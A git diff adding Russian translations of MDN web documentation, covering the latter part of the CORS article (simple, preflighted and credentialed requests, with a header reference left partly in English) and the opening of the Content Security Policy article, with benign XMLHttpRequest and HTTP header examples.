+User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-us,en;q=0.5
+Accept-Encoding: gzip,deflate
+Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
+Connection: keep-alive
+Referer: http://foo.example/examples/access-control/simpleXSInvocation.html
+Origin: http://foo.example
+
+
+HTTP/1.1 200 OK
+Date: Mon, 01 Dec 2008 00:23:53 GMT
+Server: Apache/2.0.61
+Access-Control-Allow-Origin: *
+Keep-Alive: timeout=2, max=100
+Connection: Keep-Alive
+Transfer-Encoding: chunked
+Content-Type: application/xml
+
+[XML Data]
+</pre>
+
+<p>Строчки 1 - 10 это заголовки отправленного запроса. Самим интересующим здесь для нас заголовком является {{HTTPHeader("Origin")}}, указанный на 10 строке. Данный заголовок указывает, что запрос пришел из содержимого домена <code class="plain">http://foo.example</code>.</p>
+
+<p>Строчки 13 - 22 показывают HTTP-ответ от сервера на домен <code class="plain">http://bar.other</code>. В ответ сервер возвращает {{HTTPHeader("Access-Control-Allow-Origin")}} заголовок, указанный на 16 строке. Использование заголовков {{HTTPHeader("Origin")}} header и {{HTTPHeader("Access-Control-Allow-Origin")}} показывает протокол контроля доступа в простейшем виде. В этом случае, сервер отвечает с <code>Access-Control-Allow-Origin: *</code> что означает, что к ресурсу может получить доступ с <strong>любого</strong> домена кросс-сайтовым способом. Если владелец ресурса <code class="plain">http://bar.other</code> пожелал ограничить доступ к ресурсу для запросов только с <code class="plain">http://foo.example</code>, они отправят обратно:</p>
+
+<p><code class="plain">Access-Control-Allow-Origin: http://foo.example</code></p>
+
+<p>Отметьте, никакой домен, кроме <code class="plain">http://foo.example</code> (определен ORIGIN: заголовок в запросе, как в 10 строке выше), не может получить доступ к ресурсу кросс-сайтовым способом. Заголовок <code>Access-Control-Allow-Origin</code> должен содержать значение, которое было отправлено в заголовке <code>Origin</code> запроса. </p>
+
+<h3 id="Предварительные_запросы">Предварительные запросы</h3>
+
+<p>В отличии от <a href="/en-US/docs/Web/HTTP/Access_control_CORS#Simple_requests">“простых запросов” (обсуждено выше)</a>, "предварительные" запросы сначала отправляют HTTP-запрос методом {{HTTPMethod("OPTIONS")}} к ресурсу на другом домене, чтобы определить, является ли фактический запрос безопасным для отправки. Кросс-сайтовые запросы предварительно просматриваются таким образом, так как они могут быть причастны к пользовательским данным.</p>
+
+<p>В частности, запрос предварительно просматривается, если выполняется<strong> любое из следующих условий:</strong></p>
+
+<ul>
+ <li><strong>Если</strong> в запросе используется любой из следующих методов:
+
+  <ul>
+   <li>{{HTTPMethod("PUT")}}</li>
+   <li>{{HTTPMethod("DELETE")}}</li>
+   <li>{{HTTPMethod("CONNECT")}}</li>
+   <li>{{HTTPMethod("OPTIONS")}}</li>
+   <li>{{HTTPMethod("TRACE")}}</li>
+   <li>{{HTTPMethod("PATCH")}}</li>
+  </ul>
+ </li>
+ <li><strong>Или если</strong>, кроме заголовков, автоматически устанавливаемых пользовательским агентом (например, {{HTTPHeader ("Connection")}}, {{HTTPHeader ("User-Agent")}}, <a href="https://fetch.spec.whatwg.org/#forbidden-header-name">или любым другим заголовком с именем, определенным в спецификации Fetch как "имя запрещенного заголовка"</a>), запрос включает любые заголовки, отличные от <a href="https://fetch.spec.whatwg.org/#forbidden-header-name">тех, которые спецификация Fetch определяет как "заголовок запроса CORS-безопасный заголовок запроса"</a>, а именно:
+  <ul>
+   <li>{{HTTPHeader("Accept")}}</li>
+   <li>{{HTTPHeader("Accept-Language")}}</li>
+   <li>{{HTTPHeader("Content-Language")}}</li>
+   <li>{{HTTPHeader("Content-Type")}} (но учтите дополнительные требования ниже)</li>
+   <li>{{HTTPHeader("Last-Event-ID")}}</li>
+   <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#dpr">DPR</a></code></li>
+   <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#save-data">Save-Data</a></code></li>
+   <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#viewport-width">Viewport-Width</a></code></li>
+   <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#width">Width</a></code></li>
+  </ul>
+ </li>
+ <li><strong>Или если </strong>заголовок {{HTTPHeader("Content-Type")}} содержит значение, отличное от следующих:
+  <ul>
+   <li><code>application/x-www-form-urlencoded</code></li>
+   <li><code>multipart/form-data</code></li>
+   <li><code>text/plain</code></li>
+  </ul>
+ </li>
+ <li><strong>Или если </strong>один или больше слушателей событий зарегистрированы на объекте {{domxref("XMLHttpRequestUpload")}}, который используется в запросе.</li>
+ <li><strong>Или если </strong>объект {{domxref("ReadableStream")}} используется в запросе.</li>
+</ul>
+
+<p>Ниже приведен пример запроса, который будет предварительно просмотрен.</p>
+
+<pre class="brush: js notranslate" id="line1">var invocation = new XMLHttpRequest();
+var url = 'http://bar.other/resources/post-here/';
+var body = '&lt;?xml version="1.0"?&gt;&lt;person&gt;&lt;name&gt;Arun&lt;/name&gt;&lt;/person&gt;';
+
+function callOtherDomain(){
+  if(invocation)
+    {
+      invocation.open('POST', url, true);
+      invocation.setRequestHeader('X-PINGOTHER', 'pingpong');
+      invocation.setRequestHeader('Content-Type', 'application/xml');
+      invocation.onreadystatechange = handler;
+      invocation.send(body);
+    }
+}
+
+......
+</pre>
+
+<p>В примере выше, 3 строка создает XML тело, чтобы отправить <code>POST</code> запросом на строке 8. Также, на строке 9, "кастомизированный" (не стандартный) заголовок HTTP запроса установлен (<code>X-PINGOTHER: pingpong</code>). Такие заголовки не являются частью протокола HTTP/1.1, но, как правило, полезны для веб-приложений. Так как запрос использует Content-Type  <code>application/xml</code>, и так как установлен кастомизированный заголовок, этот запрос просматривается.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/16753/preflight_correct.png" style="height: 553px; width: 521px;"></p>
+
+<div class="blockIndicator note">
+<p><strong>Замечнаие:</strong> как описано ниже, фактический <code>POST</code> запрос не включает <code>Access-Control-Request-*</code>  заголовки; они нужны только для <code>OPTIONS</code> запроса.</p>
+</div>
+
+<p>Давайте посмотрим на полный обмен между клиентом и сервером. Первый обмен - это <em>предварительный</em> <em>запрос/ответ</em>:</p>
+
+<pre class="brush: none notranslate">OPTIONS /resources/post-here/ HTTP/1.1
+Host: bar.other
+User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-us,en;q=0.5
+Accept-Encoding: gzip,deflate
+Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
+Connection: keep-alive
+Origin: http://foo.example
+Access-Control-Request-Method: POST
+Access-Control-Request-Headers: X-PINGOTHER, Content-Type
+
+
+HTTP/1.1 200 OK
+Date: Mon, 01 Dec 2008 01:15:39 GMT
+Server: Apache/2.0.61 (Unix)
+Access-Control-Allow-Origin: http://foo.example
+Access-Control-Allow-Methods: POST, GET, OPTIONS
+Access-Control-Allow-Headers: X-PINGOTHER, Content-Type
+Access-Control-Max-Age: 86400
+Vary: Accept-Encoding, Origin
+Content-Encoding: gzip
+Content-Length: 0
+Keep-Alive: timeout=2, max=100
+Connection: Keep-Alive
+Content-Type: text/plain
+</pre>
+
+<p>Как только предварительный запрос завершен, отправляется настоящий запрос:</p>
+
+<pre class="brush: none notranslate">POST /resources/post-here/ HTTP/1.1
+Host: bar.other
+User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-us,en;q=0.5
+Accept-Encoding: gzip,deflate
+Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
+Connection: keep-alive
+X-PINGOTHER: pingpong
+Content-Type: text/xml; charset=UTF-8
+Referer: http://foo.example/examples/preflightInvocation.html
+Content-Length: 55
+Origin: http://foo.example
+Pragma: no-cache
+Cache-Control: no-cache
+
+&lt;?xml version="1.0"?&gt;&lt;person&gt;&lt;name&gt;Arun&lt;/name&gt;&lt;/person&gt;
+
+
+HTTP/1.1 200 OK
+Date: Mon, 01 Dec 2008 01:15:40 GMT
+Server: Apache/2.0.61 (Unix)
+Access-Control-Allow-Origin: http://foo.example
+Vary: Accept-Encoding, Origin
+Content-Encoding: gzip
+Content-Length: 235
+Keep-Alive: timeout=2, max=99
+Connection: Keep-Alive
+Content-Type: text/plain
+
+[Some GZIP'd payload]
+</pre>
+
+<p>Строки 1 - 12 выше представляют предварительный запрос с {{HTTPMethod("OPTIONS")}} методом. Браузер определяет, что ему нужно отправить это, основываясь на параметрах запроса, которые использовались во фрагменте кода JavaScript выше, чтобы сервер мог ответить, допустимо ли отправить запрос с фактическими параметрами запроса. OPTIONS - это метод HTTP/1.1, который используется для определения дополнительной информации от серверов, и является {{Glossary("safe")}} методом, что означает, что его нельзя использовать для изменения ресурса. Обратите внимание, что вместе с запросом OPTIONS отправляются два других заголовка запроса (строки 10 и 11 соответственно):</p>
+
+<pre class="brush: none notranslate">Access-Control-Request-Method: POST
+Access-Control-Request-Headers: X-PINGOTHER, Content-Type
+</pre>
+
+<p>Заголовок {{HTTPHeader ("Access-Control-Request-Method")}} уведомляет сервер как часть предварительного запроса о том, что при отправке фактического запроса он будет отправлен методом запроса <code>POST</code>. Заголовок {{HTTPHeader ("Access-Control-Request-Headers")}} уведомляет сервер о том, что при отправке фактического запроса он будет отправлен с пользовательскими заголовками <code>X-PINGOTHER</code> и Content-Type. Теперь у сервера есть возможность определить, хочет ли он принять запрос в этих обстоятельствах.</p>
+
+<p>Строки 14 - 26 выше - это ответ, который сервер отправляет обратно, указывая, что метод запроса (<code>POST</code>) и заголовки запроса (<code>X-PINGOTHER</code>) являются приемлемыми. В частности, давайте посмотрим на строки 17-20:</p>
+
+<pre class="brush: none notranslate">Access-Control-Allow-Origin: http://foo.example
+Access-Control-Allow-Methods: POST, GET, OPTIONS
+Access-Control-Allow-Headers: X-PINGOTHER, Content-Type
+Access-Control-Max-Age: 86400</pre>
+
+<p>Сервер отвечает с <code>Access-Control-Allow-Methods</code> и сообщает, что <code>POST</code>, <code>GET</code>, и <code>OPTIONS</code> являются жизнеспособными методами для запроса соответствующего ресурса. Обратите внимание, что этот заголовок похож на заголовок ответа {{HTTPHeader("Allow")}}, но используется строго в контексте контроля доступа.</p>
+
+<p>Сервер также отправляет <code>Access-Control-Allow-Headers</code> со значением "<code>X-PINGOTHER, Content-Type</code>", подтверждая, что это разрешенные заголовки, которые будут использоваться с фактическим запросом. Как и <code>Access-Control-Allow-Methods</code>, <code>Access-Control-Allow-Headers</code> представляет собой список допустимых заголовков через запятую.</p>
+
+<p>Наконец, {{HTTPHeader("Access-Control-Max-Age")}} дает значение в секундах, в течение которого можно кэшировать ответ на предварительный запрос без отправки другого предварительного запроса. В этом случае, 86400 секунды - это 24 часа. Обратите внимание, что каждый браузер имеет<a href="/en-US/docs/Web/HTTP/Headers/Access-Control-Max-Age"> максимальное внутреннее значение</a>, которое имеет приоритет, когда <code>Access-Control-Max-Age</code> больше.</p>
+
+<h4 id="Предварительные_запросы_и_переадресации">Предварительные запросы и  переадресации</h4>
+
+<p>Большинство браузеров в настоящее время не поддерживают следующие переадресации для предварительных запросов. Если переадресация происходит для предварительного запроса, большинство современных браузеров сообщат об ошибке, такой как следующее.</p>
+
+<blockquote>
+<p>Запрос был перенаправлен на 'https://example.com/foo', который запрещен для запросов из разных источников, требующих предварительной проверки</p>
+</blockquote>
+
+<blockquote>
+<p>Запрос требует предварительной проверки, которая запрещена для перенаправления между источниками</p>
+</blockquote>
+
+<p>Протокол CORS изначально требовал такого поведения, но впоследствии <a href="https://github.com/whatwg/fetch/commit/0d9a4db8bc02251cc9e391543bb3c1322fb882f2">был изменен, чтобы больше не требовать его.</a> Однако большинство браузеров еще не реализовали это изменение и все еще демонстрируют поведение, которое требовалось изначально.</p>
+
+<p>Поэтому, пока браузеры не догонят спецификацию, вы можете обойти это ограничение, выполнив одно или оба из следующих действий:</p>
+
+<ul>
+ <li>изменить поведение на стороне сервера, чтобы избежать предварительной проверки и/или избежать переадресации — если у вас есть контроль над сервером, к которому делается запрос</li>
+ <li>изменить запрос так, чтобы это был <a href="#Simple_requests">простой запрос</a>, который не вызывает предварительную проверку</li>
+</ul>
+
+<p>Но если невозможно внести эти изменения, то возможен другой способ:</p>
+
+<ol>
+ <li>Сделайте <a href="/en-US/docs/Web/HTTP/Access_control_CORS#Simple_requests">простой запрос</a> для определения (используя <a href="/en-US/docs/Web/API/Response/url">Response.url</a> для Fetch API, или <a href="/en-US/docs/Web/API/XMLHttpRequest/responseURL">XHR.responseURL</a>, чтобы определить, на каком URL завершится настоящий предварительный запрос).</li>
+ <li>Сделайте другой запрос (“настоящий” запрос), используя URL адрес, полученный вами из <a href="/en-US/docs/Web/API/Response/url">Response.url</a> или <a href="/en-US/docs/Web/API/XMLHttpRequest/responseURL">XMLHttpRequest.responseURL</a> на первом этапе.</li>
+</ol>
+
+<p>Однако, если запрос инициирует предварительную проверку из-за наличия в запросе заголовка `Authorization`, вы не сможете обойти ограничение, используя описанные выше шаги. И вы вообще не сможете обойти это, если у вас нет контроля над сервером, на который делается запрос.</p>
+
+<h3 id="Запросы_с_учетными_данными">Запросы с учетными данными</h3>
+
+<p>Наиболее интересная возможность, предоставляемая как {{domxref("XMLHttpRequest")}}, так и <a href="/en-US/docs/Web/API/Fetch_API">Fetch</a> и CORS - это возможность делать "проверенные" запросы, которые осведомленны о файлах <a href="/en-US/docs/Web/HTTP/Cookies">HTTP cookie</a> и информации HTTP аутентификаци. По умолчанию, в кросс-сайтовых {{domxref("XMLHttpRequest")}} или <a href="/en-US/docs/Web/API/Fetch_API">Fetch</a> вызовах, браузеры <strong>не </strong>отправляют учетные данные. Конкретный флаг должен быть установлен для объекта {{domxref("XMLHttpRequest")}} или конструктора {{domxref("Request")}} при его вызове.</p>
+
+<p>В этом примере контент, изначально загруженный из <code class="plain">http://foo.example,</code> выполняет простой GET запрос к ресурсу  <code class="plain">http://bar.other,</code> который устанавливает файлы сookie. Содержимое на foo.example может содержать такой JavaScript:</p>
+
+<pre class="brush: js notranslate" id="line1">var invocation = new XMLHttpRequest();
+var url = 'http://bar.other/resources/credentialed-content/';
+
+function callOtherDomain(){
+  if(invocation) {
+    invocation.open('GET', url, true);
+    invocation.withCredentials = true;
+    invocation.onreadystatechange = handler;
+    invocation.send();
+  }
+}</pre>
+
+<p>В строке 7 показан флаг {{domxref("XMLHttpRequest")}}, который должен быть установлен для выполнения вызова с помощью файлов cookie, а именно логическое значение <code>withCredentials</code>. По умолчанию вызов выполняется без файлов cookie. Поскольку это простой запрос <code>GET,</code> он не является предварительным, но браузер <strong>отклоняет</strong> любой ответ, который не имеет заголовка {{HTTPHeader("Access-Control-Allow-Credentials")}}<code>: true</code>, и <strong>не</strong> создает ответ, доступный для вызова веб-контента.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14291/cred-req.png" style="height: 223px; width: 521px;"></p>
+
+<p>Вот пример обмена между клентом и сервером:</p>
+
+<pre class="brush: none notranslate">GET /resources/access-control-with-credentials/ HTTP/1.1
+Host: bar.other
+User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-us,en;q=0.5
+Accept-Encoding: gzip,deflate
+Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
+Connection: keep-alive
+Referer: http://foo.example/examples/credential.html
+Origin: http://foo.example
+Cookie: pageAccess=2
+
+
+HTTP/1.1 200 OK
+Date: Mon, 01 Dec 2008 01:34:52 GMT
+Server: Apache/2.0.61 (Unix) PHP/4.4.7 mod_ssl/2.0.61 OpenSSL/0.9.7e mod_fastcgi/2.4.2 DAV/2 SVN/1.4.2
+X-Powered-By: PHP/5.2.6
+Access-Control-Allow-Origin: http://foo.example
+Access-Control-Allow-Credentials: true
+Cache-Control: no-cache
+Pragma: no-cache
+Set-Cookie: pageAccess=3; expires=Wed, 31-Dec-2008 01:34:53 GMT
+Vary: Accept-Encoding, Origin
+Content-Encoding: gzip
+Content-Length: 106
+Keep-Alive: timeout=2, max=100
+Connection: Keep-Alive
+Content-Type: text/plain
+
+
+[text/plain payload]
+</pre>
+
+<p>Также в строке 11 содержится Cookie, предназначенный для контента ресурса <code class="plain">http://bar.other</code>. В случае если <code class="plain">http://bar.other</code> не ответит полем  {{HTTPHeader("Access-Control-Allow-Credentials")}}<code>: true</code> (строка 19), то ответ от сервера  будет проигнорирован и не станет доступным для веб-контента.</p>
+
+<h4 id="Запросы_с_учетными_данными_и_wildcards">Запросы с учетными данными и wildcards</h4>
+
+<p>В процессе ответа на запрос с учетными данными сервер <strong>обязан</strong> указать точный источник в поле заголовка <code>Access-Control-Allow-Origin</code> вместо спецсимвола "<code>*</code>".</p>
+
+<p>Из-за того что заголовки запроса в примере выше включают заголовок <code>Cookie</code>, запрос  провалился бы, если бы значение заголовка <code>Control-Allow-Origin</code> было "*". Но он не провалился: потому что значение заголовка <code>Access-Control-Allow-Origin</code>  - "<code class="plain">http://foo.example</code>" (действительный источник), а не спецсимвол "<code>*</code>", контент, удостоверяющий полномочия, возвращается в вызывающий веб-контент.</p>
+
+<p>Отметьте, что заголовок ответа <code>Set-Cookie</code> в примере выше также устанавливает дополнительные куки. В случае неудачи, возникает исключение, в зависимости от используемого API.</p>
+
+<h2 id="Заголовки_HTTP_ответов">Заголовки HTTP ответов</h2>
+
+<p>Эта секция содержит список заголовков HTTP ответов, которые сервер шлет в ответ на запрос доступа, как описано в спецификации совместного использования ресурсов между разными источниками. В предыдущей секции это описано в действии.</p>
+
+<h3 id="Access-Control-Allow-Origin">Access-Control-Allow-Origin</h3>
+
+<p>Возвращаемый ресурс может иметь один заголовок {{HTTPHeader("Access-Control-Allow-Origin")}}, синтаксис которого:</p>
+
+<pre class="brush: none notranslate">Access-Control-Allow-Origin: &lt;origin&gt; | *
+</pre>
+
+<p><code>Access-Control-Allow-Origin</code> определяет либо один источник, что указывает браузеру разрешить этому источнику доступ к ресурсу; либо — для запросов без учетных данных — значение "<code>*</code>", которое говорит браузеру разрешить запросы из любых источников.</p>
+
+<p>Например, чтобы разрешить http://mozilla.org доступ к ресурсу, можно указать:</p>
+
+<pre class="brush: none notranslate">Access-Control-Allow-Origin: http://mozilla.org</pre>
+
+<p>Если сервер возвращает название хоста, вместо "*", также может быть указан заголовок Vary со значением Origin, чтобы показать клиентам, что ответы с сервера будут отличаться в зависимости от значения заголовка запроса Origin.</p>
+
+<h3 id="Access-Control-Expose-Headers">Access-Control-Expose-Headers</h3>
+
+<p>The {{HTTPHeader("Access-Control-Expose-Headers")}} header lets a server whitelist headers that browsers are allowed to access. For example:</p>
+
+<pre class="brush: none notranslate">Access-Control-Expose-Headers: X-My-Custom-Header, X-Another-Custom-Header
+</pre>
+
+<p>This allows the <code>X-My-Custom-Header</code> and <code>X-Another-Custom-Header</code> headers to be exposed to the browser.</p>
+
+<h3 id="Access-Control-Max-Age">Access-Control-Max-Age</h3>
+
+<p>The  {{HTTPHeader("Access-Control-Max-Age")}} header indicates how long the results of a preflight request can be cached. For an example of a preflight request, see the above examples.</p>
+
+<pre class="brush: none notranslate">Access-Control-Max-Age: &lt;delta-seconds&gt;
+</pre>
+
+<p>The <code>delta-seconds</code> parameter indicates the number of seconds the results can be cached.</p>
+
+<h3 id="Access-Control-Allow-Credentials">Access-Control-Allow-Credentials</h3>
+
+<p>The {{HTTPHeader("Access-Control-Allow-Credentials")}} header Indicates whether or not the response to the request can be exposed when the <code>credentials</code> flag is true.  When used as part of a response to a preflight request, this indicates whether or not the actual request can be made using credentials. Note that simple <code>GET</code> requests are not preflighted, and so if a request is made for a resource with credentials, if this header is not returned with the resource, the response is ignored by the browser and not returned to web content.</p>
+
+<pre class="brush: none notranslate">Access-Control-Allow-Credentials: true
+</pre>
+
+<p><a class="internal" href="#Requests_with_credentials">Credentialed requests</a> are discussed above.</p>
+
+<h3 id="Access-Control-Allow-Methods">Access-Control-Allow-Methods</h3>
+
+<p>The {{HTTPHeader("Access-Control-Allow-Methods")}} header specifies the method or methods allowed when accessing the resource. This is used in response to a preflight request. The conditions under which a request is preflighted are discussed above.</p>
+
+<pre class="brush: none notranslate">Access-Control-Allow-Methods: &lt;method&gt;[, &lt;method&gt;]*
+</pre>
+
+<p>An example of a <a class="internal" href="#Preflighted_requests">preflight request is given above</a>, including an example which sends this header to the browser.</p>
+
+<h3 id="Access-Control-Allow-Headers">Access-Control-Allow-Headers</h3>
+
+<p>The {{HTTPHeader("Access-Control-Allow-Headers")}} header is used in response to a <a class="internal" href="#Preflighted_requests">preflight request</a> to indicate which HTTP headers can be used when making the actual request.</p>
+
+<pre class="brush: none notranslate">Access-Control-Allow-Headers: &lt;field-name&gt;[, &lt;field-name&gt;]*
+</pre>
+
+<h2 id="The_HTTP_request_headers">The HTTP request headers</h2>
+
+<p>This section lists headers that clients may use when issuing HTTP requests in order to make use of the cross-origin sharing feature. Note that these headers are set for you when making invocations to servers. Developers using cross-site {{domxref("XMLHttpRequest")}} capability do not have to set any cross-origin sharing request headers programmatically.</p>
+
+<h3 id="Origin">Origin</h3>
+
+<p>The {{HTTPHeader("Origin")}} header indicates the origin of the cross-site access request or preflight request.</p>
+
+<pre class="brush: none notranslate">Origin: &lt;origin&gt;
+</pre>
+
+<p>The origin is a URI indicating the server from which the request initiated.  It does not include any path information, but only the server name.</p>
+
+<div class="note"><strong>Note:</strong> The <code>origin</code> can be the empty string; this is useful, for example, if the source is a <code>data</code> URL.</div>
+
+<p>Note that in any access control request, the {{HTTPHeader("Origin")}} header is <strong>always</strong> sent.</p>
+
+<h3 id="Access-Control-Request-Method">Access-Control-Request-Method</h3>
+
+<p>The {{HTTPHeader("Access-Control-Request-Method")}} is used when issuing a preflight request to let the server know what HTTP method will be used when the actual request is made.</p>
+
+<pre class="brush: none notranslate">Access-Control-Request-Method: &lt;method&gt;
+</pre>
+
+<p>Examples of this usage can be <a class="internal" href="#Preflighted_requests">found above.</a></p>
+
+<h3 id="Access-Control-Request-Headers">Access-Control-Request-Headers</h3>
+
+<p>The {{HTTPHeader("Access-Control-Request-Headers")}} header is used when issuing a preflight request to let the server know what HTTP headers will be used when the actual request is made.</p>
+
+<pre class="brush: none notranslate">Access-Control-Request-Headers: &lt;field-name&gt;[, &lt;field-name&gt;]*
+</pre>
+
+<p>Examples of this usage can be <a class="internal" href="#Preflighted_requests">found above</a>.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fetch', '#cors-protocol', 'CORS')}}</td>
+   <td>{{Spec2('Fetch')}}</td>
+   <td>New definition; supplants <a href="https://www.w3.org/TR/cors/">W3C CORS</a> specification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Access-Control-Allow-Origin")}}</p>
+
+<h3 id="Compatibility_notes">Compatibility notes</h3>
+
+<ul>
+ <li>Internet Explorer 8 and 9 expose CORS via the <code>XDomainRequest</code> object, but have a full implementation in IE 10. </li>
+ <li>While Firefox 3.5 introduced support for cross-site XMLHttpRequests and Web Fonts, certain requests were limited until later versions. Specifically, Firefox 7 introduced the ability for cross-site HTTP requests for WebGL Textures, and Firefox 9 added support for Images drawn on a canvas using <code>drawImage</code>.</li>
+</ul>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a class="external" href="https://arunranga.com/examples/access-control/">Code Samples Showing <code>XMLHttpRequest</code> and Cross-Origin Resource Sharing</a></li>
+ <li><a class="internal" href="/en-US/docs/Web/HTTP/Server-Side_Access_Control">Cross-Origin Resource Sharing From a Server-Side Perspective (PHP, etc.)</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/cors/">Cross-Origin Resource Sharing specification</a></li>
+ <li>{{domxref("XMLHttpRequest")}}</li>
+ <li><a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a></li>
+ <li><a class="external" href="http://www.kendoui.com/blogs/teamblog/posts/11-10-03/using_cors_with_all_modern_browsers.aspx">Using CORS with All (Modern) Browsers</a></li>
+ <li><a href="http://www.html5rocks.com/en/tutorials/cors/">Using CORS - HTML5 Rocks</a></li>
+ <li><a href="https://stackoverflow.com/questions/43871637/no-access-control-allow-origin-header-is-present-on-the-requested-resource-whe/43881141#43881141">Stack Overflow answer with “how to” info for dealing with common problems</a>:
+  <ul>
+   <li>How to avoid the CORS preflight</li>
+   <li>How to use a CORS proxy to get around <em>“No Access-Control-Allow-Origin header”</em></li>
+   <li>How to fix <em>“Access-Control-Allow-Origin header must not be the wildcard”</em></li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/ru/web/http/csp/index.html b/files/ru/web/http/csp/index.html
new file mode 100644
index 0000000000..b0d13ff4fc
--- /dev/null
+++ b/files/ru/web/http/csp/index.html
@@ -0,0 +1,193 @@
+---
+title: Content Security Policy (CSP)
+slug: Web/HTTP/CSP
+tags:
+  - Безопасность
+  - Справка
+translation_of: Web/HTTP/CSP
+---
+<div>{{HTTPSidebar}}</div>
+
+<p class="summary"><strong>Content Security Policy</strong> ({{Glossary("CSP")}}) - это дополнительный уровень безопасности, позволяющий распознавать и устранять определенные типы атак, таких как Cross Site Scripting ({{Glossary("XSS")}}) и атаки внедрения данных. Спектр применения этих атак включает, но не ограничивается кражей данных, подменой страниц и распространением зловредного ПО.</p>
+
+<p>CSP разрабатывался с возможностью полной обратной совместимости (за исключением CSP version 2, в которой были намеренно определены некоторые противоречия блокирующие обратную совместимость; с деталями можно ознакомиться <a href="https://www.w3.org/TR/CSP2">здесь</a>, в пункте 1.1). Браузеры, которые не поддерживают CSP, все еще могут работать с серверами, которые поддерживают CSP, и наоборот: браузеры, в которых поддержка CSP отсутствует, будут ее игнорировать, продолжая работу в соответствии со стандартными правилами ограничения домена для загрузки контента. В случае, если сайт не предоставляет CSP-заголовки, браузеры, в свою очередь, будут использовать стандартные <a href="/ru/docs/Web/Security/Same-origin_policy" title="En/Same origin policy for JavaScript">правила ограничения домена</a>.</p>
+
+<p>Для того чтобы включить CSP, необходимо настроить сервер так, чтобы в ответах он использовал HTTP-заголовок {{HTTPHeader("Content-Security-Policy")}} (в различных примерах и документации можно встретить вариант заголовка <code>X-Content-Security-Policy</code>. Он является устаревшим и определять его не нужно).</p>
+
+<p>В качестве альтернативы настройке сервера, вы можете сконфигурировать CSP с помощью элемента {{HTMLElement("meta")}}. Например, так: <code>&lt;meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';"&gt;</code></p>
+
+<h2 id="Угрозы">Угрозы</h2>
+
+<h3 id="Межсайтовый_скриптинг">Межсайтовый скриптинг</h3>
+
+<p>Основная цель создания CSP заключается в устранении XSS атак и сборе данных об их попытках. XSS атаки используют доверие браузера к контенту, полученному с сервера. Зловредные скрипты исполняются в браузере жертвы, поскольку браузер доверяет источнику, даже когда скрипт поставляется не оттуда, откуда кажется.</p>
+
+<p>CSP дает возможность администраторам серверов снизить или полностью устранить вектора, по которым злоумышленники могут провести XSS, с помощью определения доменов, которые браузер клиента должен считать доверенными источниками исполняемых скриптов. В таком случае, браузер, совместимый с CSP, будет исполнять только те скрипты, которые были получены из списка разрешенных источников, и игнорировать прочие (в т.ч. встраиваемые скрипты и обработчики событий, указанные непосредственно в HTML-атрибутах).</p>
+
+<p>В качестве крайней меры защиты, сайты, которые хотят запретить исполнение скриптов, могут настроить это поведение глобально, с помощью соответствующей опции.</p>
+
+<h3 id="Пакетный_сниффинг">Пакетный сниффинг</h3>
+
+<p>В дополнение к ограничению количества доверенных доменов, с которых разрешается получать контент, можно также ограничить список используемых протоколов; например (в идеале и это крайне желательно с точки зрения обеспечения безопасности), сервер может поставить ограничение на получение контента только по HTTPS. Завершенная стратегия защиты передачи данных должна включать в себя не только принуждение к использованию HTTPS, но также и пометку всех <a href="/ru/docs/Web/HTTP/%D0%9A%D1%83%D0%BA%D0%B8">кук с помощью специального флага</a>, а также перенаправление запросов с HTTP на HTTPS. Сайты также могут использовать {{HTTPHeader("Strict-Transport-Security")}} HTTP-заголовок, чтобы обеспечить подключение к ним браузеров только по защищенному каналу<strong>.</strong></p>
+
+<h2 id="Использование_CSP">Использование CSP</h2>
+
+<p>Настройка  CSP включает в себя добавление на страницу HTTP-заголовка {{HTTPHeader("Content-Security-Policy")}} и его настройку в соответствии со списком доверенных источников, из которых пользователь может получать контент. Например, страница, на которой происходит загрузка и отображение изображений может разрешать их получение из любых источников, но ограничить отправку данных формы конкретным адресом. При правильной настройке, Content Security Policy поможет защитить страницу от атак межсайтового скриптинга. Данная статья описывает как правильно настроить необходимые заголовки и примеры, как это сделать.</p>
+
+<h3 id="Определение_политики">Определение политики</h3>
+
+<p>Вы можете начать настройку {{HTTPHeader("Content-Security-Policy")}} с определения HTTP-заголовка и указания какую политику использовать:</p>
+
